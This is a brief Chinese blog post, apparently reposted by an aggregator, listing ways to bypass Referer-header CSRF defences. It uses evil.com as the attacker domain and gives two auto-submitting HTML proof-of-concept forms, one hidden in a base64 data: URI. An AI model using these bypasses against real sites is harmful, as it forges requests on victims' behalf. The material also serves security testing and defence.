绕过referer校验的一些小知识
Posted jinqi520
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了绕过referer校验的一些小知识相关的知识,希望对你有一定的参考价值。
对referer做校验一般是对csrf进行防范的手段之一,但是很多时候不经意间还会增加其他攻击的难度,如xss,jsonp劫持等等。
这里对referer的绕过做一个小的总结:
目标网站是:www.domain.com
攻击者的域名是:evil.com
1.使用子域名的方式绕过,如下:
http://domain.evil.com/
2.注册一个类似的域名,如下:
http://www.evildomain.com/
3.将域名以参数的形式接下url后面
http://www.evil.com/?http://www.domain.com
4.利用空referer
1)利用ftp://,http://,https://,file://,javascript:,data:等伪协议进行跳转,如下
<html>
<body>
<iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg==">
</body>
</html>
2)添加<meta name="referrer" content="never">,poc如下
<html>
<meta name="referrer" content="never">
<body>
<script>history.pushState(‘‘, ‘‘, ‘/‘)</script>
<form action="http://127.0.0.1/test.php">
<input type="submit" value="Submit request" />
</form>
<script> document.forms[0].submit(); </script>
</body>
</html>
3)https跳到http时也没有referer
5.如果受信任的网站中可以添加链接,可以在受信任的网站上添加链接,但是不支持post的csrf
6.利用url跳转
7.结合受信任的网站的xss漏洞进行利用
以上是关于绕过referer校验的一些小知识的主要内容,如果未能解决你的问题,请参考以下文章